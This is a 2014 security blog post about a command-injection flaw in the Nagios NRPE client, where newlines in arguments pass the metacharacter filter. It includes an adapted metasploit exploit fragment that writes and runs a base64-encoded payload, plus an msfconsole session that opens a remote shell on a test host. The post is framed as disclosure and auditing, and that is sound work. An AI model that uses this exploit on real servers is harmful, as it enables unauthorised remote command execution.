2014/10/22
tags: Nagios NRPE vulnerability metasploit CVE-2014-2913
I rather like this comment from Colin Percival (one time FreeBSD security officer):
The people finding said bugs didn't necessarily know enough to be able to exploit the bugs, or even enough to be certain that there was a bug; but there were a lot of "this code looks weird" reports turning out to expose vulnerabilities.
Sometimes you don't even need to see weird, you can just smell it...
So it was helping a sysadmin colleague debug weird behavior with the
Nagios Remote Plugin Executor. This allows the Nagios monitoring server
to execute a restricted set of commands on clients. The argument to check_disks.pl
's -r
(regular expression) parameter was apparently getting mangled.
After some poking it seemed the client was dropping shell
metacharacters. With
little understanding we rewrote the regex to avoid those characters. And
all was good.
But why? Why? Why would it quietly do that?
... if the author was concerned about injection attacks... and was... passing
the received command to popen(3)
or system(3)
...
nrpe-2.15/src/nrpe.c
:
/* run the command */ fp=popen(command,"r");
Hmm. A little hunting found CVE-2013-1362 and:
#define NASTY_METACHARS "|`&><'"\[]{};"
We can see this still doesn't include newline characters: these too can be used to separate shell commands. So the server can send an argument with newlines in it and the client will dutifully execute those arguments.
WONTFIX
I reported this to the Nagios team, and they defended it as expected behavior.
ENABLE_COMMAND_ARGUMENTS
defined.dont_blame_nrpe
which has explicit warnings in place.\n
in arguments as a field separator is useful (eg.
substituting output of other commands).'$ARG1$'
in nrpe.cfg
to avoid exploitation.On the other hand ENABLE_COMMAND_ARGUMENTS
is generally defined,
current behavior silently breaks passing arguments with any character
in the NASTY_METACHARS
list , the quoting aspect is not documented
(the examples don't use it), and if my monitoring server gets popped I
really don't want it to be able to run arbitrary commands on any other
machine on the network. The Nagios team agreed to improve the examples.
Whilst I'd rather this "feature" be bleached from the code entirely I
can live with it in light of the last point regarding argument quoting.
Shortly after this, in one of those weird coincidences that can only make a paranoid man more paranoid, Dawid Golunski posted the same finding to the Full Disclosure list.
And that brings us to auditing: how can I see which of my servers have this (now public) misconfiguration?
(Over the summer I see Dawid and Claudio Viviani released a comprehensive python exploit).
I looked back at Rudolph Pereira's report
for
CVE-2013-1362.
He'd handily written a metasploit
module and I adapted it: the only real additional trick was in passing
suitable shell-shoveling arguments to NRPE that didn't contain any of the
NASTY_METACHARS
. I passed the nasty stuff base-64 encoded along with a
handful of simple, non-metacharacter-containing shell commands to unpack
and execute it:
command << "! rm -f #{b64_payload_path} #{payload_path} dd if=/dev/zero of=#{b64_payload_path} count=1 bs=1 perl -pie s/./#{stage}/ #{b64_payload_path} PATH=/usr/bin:/usr/local/ssl/bin:/usr/sfw/bin openssl base64 -d -A -in #{b64_payload_path} -out #{payload_path} chmod +x #{payload_path} eval #{payload_path} "
Since redirection (>) is off-limits dd(1)
and perl(1)
substitution are
used to write to a file.
Here's a suitable nrpe.cfg
for testing, with an unquoted $ARG1$
:
dont_blame_nrpe=1 command[check_procs]=/opt/CTCOnagios/libexec/check_procs $ARG1$
Then copy nagios_nrpe_nl.rb
into metasploit-framework/modules/exploits/linux/misc
and run msfconsole
:
msf > setg VERBOSE true VERBOSE => true msf > set PAYLOAD cmd/unix/bind_perl PAYLOAD => cmd/unix/bind_perl msf > set RHOST host.example.com RHOST => host.example.com msf > use exploit/linux/misc/nagios_nrpe_nl msf exploit(nagios_nrpe_nl) > set NRPECMD NRPECMD => check_procs msf exploit(nagios_nrpe_nl) > check [*] Checking if remote NRPE supports command line arguments [*] NRPE: Command '__fake_check 12345' not defined [+] host.example.com:5666 - The target is vulnerable. msf exploit(nagios_nrpe_nl) > exploit [*] Started bind handler [*] Checking if remote NRPE supports command line arguments [*] NRPE: Command '__fake_check 12345' not defined [*] Sending request... [*] Command shell session 1 opened (10.0.0.1:45174 -> 10.0.0.2:4444) at 2014-03-13 22:36:35 +0100 id uid=667(nagios) gid=667(nagios) pwd /home/nagios ^C Abort session 1? [y/N] y [*] 10.0.0.2 - Command shell session 1 closed. Reason: User exit msf exploit(nagios_nrpe_nl) >
If you got this far you might also be interested to know that Puppet also contains a similar shell character blacklist idiom:
puppet-3.6.2/lib/puppet/parser/functions/shellquote.rb
:
safe = 'a-zA-Z0-9@%_+=:,./-' # Safe unquoted dangerous = '!"`$\\' # Unsafe inside double quotes
Let me know if you break it?